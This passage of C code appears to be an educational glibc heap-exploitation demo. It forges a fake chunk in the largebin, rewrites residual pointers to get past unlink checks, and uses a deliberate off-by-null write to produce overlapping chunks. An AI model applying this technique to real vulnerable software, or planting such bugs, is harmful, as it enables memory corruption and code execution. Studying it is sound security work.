// step2: allocate prev chunk and victim chunk puts("\nStep2: allocate two chunks adjacent to each other."); puts("Let's call the first one 'prev' and the second one 'victim'."); void *prev = malloc(0x500); void *victim = malloc(0x4f0); puts("malloc(0x10) to avoid consolidation"); malloc(0x10); printf("prev chunk: malloc(0x500) = %p\n", prev); printf("victim chunk: malloc(0x4f0) = %p\n", victim);
// step3: link prev into largebin puts("\nStep3: Link prev into largebin"); puts("This step is necessary for us to forge a fake chunk later"); puts("The fd_nextsize of prev and bk_nextsize of prev will be the fd and bck pointers of the fake chunk"); puts("allocate a chunk 'a' with size a little bit smaller than prev's"); void *a = malloc(0x4f0); printf("a: malloc(0x4f0) = %p\n", a); puts("malloc(0x10) to avoid consolidation"); malloc(0x10); puts("allocate a chunk 'b' with size a little bit larger than prev's"); void *b = malloc(0x510); printf("b: malloc(0x510) = %p\n", b); puts("malloc(0x10) to avoid consolidation"); malloc(0x10);
puts("Allocate a huge chunk to enable sorting"); malloc(0x1000); puts("current large_bin: header <-> [b, size=0x520] <-> [prev, size=0x510] <-> [a, size=0x500]\n");
puts("This will add a, b and prev to largebin\nNow prev is in largebin"); printf("The fd_nextsize of prev points to a: %p\n", ((void **)prev)[2]+0x10); printf("The bk_nextsize of prev points to b: %p\n", ((void **)prev)[3]+0x10);
// step4: allocate prev again to construct fake chunk puts("\nStep4: Allocate prev again to construct the fake chunk"); puts("Since large chunk is sorted by size and a's size is smaller than prev's,"); puts("we can allocate 0x500 as before to take prev out"); void *prev2 = malloc(0x500); printf("prev2: malloc(0x500) = %p\n", prev2); puts("Now prev2 == prev, prev2->fd == prev2->fd_nextsize == a, and prev2->bk == prev2->bk_nextsize == b"); assert(prev == prev2);
puts("The fake chunk is contained in prev and the size is smaller than prev's size by 0x10"); puts("So set its size to 0x501 (0x510-0x10 | flag)"); ((long *)prev)[1] = 0x501; puts("And set its prev_size(next_chunk) to 0x500 to bypass the size==prev_size(next_chunk) check"); *(long *)(prev + 0x500) = 0x500; printf("The fake chunk should be at: %p\n", prev + 0x10); puts("use prev's fd_nextsize & bk_nextsize as fake_chunk's fd & bk"); puts("Now we have fake_chunk->fd == a and fake_chunk->bk == b");
// step5: bypass unlinking puts("\nStep5: Manipulate residual pointers to bypass unlinking later."); puts("Take b out first by allocating 0x510"); void *b2 = malloc(0x510); printf("Because of the residual pointers in b, b->fd points to a right now: %p\n", ((void **)b2)[0]+0x10); printf("We can overwrite the least significant two bytes to make it our fake chunk.\n" "If the lowest 2nd byte is not \\x00, we need to guess what to write now\n"); ((char*)b2)[0] = '\x10'; ((char*)b2)[1] = '\x00'; // b->fd <- fake_chunk printf("After the overwrite, b->fd is: %p, which is the chunk pointer to our fake chunk\n", ((void **)b2)[0]);
puts("To do the same to a, we can move it to unsorted bin first" "by taking it out from largebin and free it into unsortedbin"); void *a2 = malloc(0x4f0); free(a2); puts("Now free victim into unsortedbin so that a->bck points to victim"); free(victim); printf("a->bck: %p, victim: %p\n", ((void **)a)[1], victim); puts("Again, we take a out and overwrite a->bck to fake chunk"); void *a3 = malloc(0x4f0); ((char*)a3)[8] = '\x10'; ((char*)a3)[9] = '\x00'; printf("After the overwrite, a->bck is: %p, which is the chunk pointer to our fake chunk\n", ((void **)a3)[1]); // pass unlink_chunk in malloc.c: // mchunkptr fd = p->fd; // mchunkptr bk = p->bk; // if (__builtin_expect (fd->bk != p || bk->fd != p, 0)) // malloc_printerr ("corrupted double-linked list"); puts("And we have:\n" "fake_chunk->fd->bk == a->bk == fake_chunk\n" "fake_chunk->bk->fd == b->fd == fake_chunk\n" );
// step6: add fake chunk into unsorted bin by off-by-null puts("\nStep6: Use backward consolidation to add fake chunk into unsortedbin"); puts("Take victim out from unsortedbin"); void *victim2 = malloc(0x4f0); printf("%p\n", victim2); puts("off-by-null into the size of vicim"); /* VULNERABILITY */ ((char *)victim2)[-8] = '\x00'; /* VULNERABILITY */
puts("Now if we free victim, libc will think the fake chunk is a free chunk above victim\n" "It will try to backward consolidate victim with our fake chunk by unlinking the fake chunk then\n" "add the merged chunk into unsortedbin." ); printf("For our fake chunk, because of what we did in step4,\n" "now P->fd->bk(%p) == P(%p), P->bk->fd(%p) == P(%p)\n" "so the unlink will succeed\n", ((void **)a3)[1], prev, ((void **)b2)[0], prev); free(victim); puts("After freeing the victim, the new merged chunk is added to unsorted bin" "And it is overlapped with the prev chunk");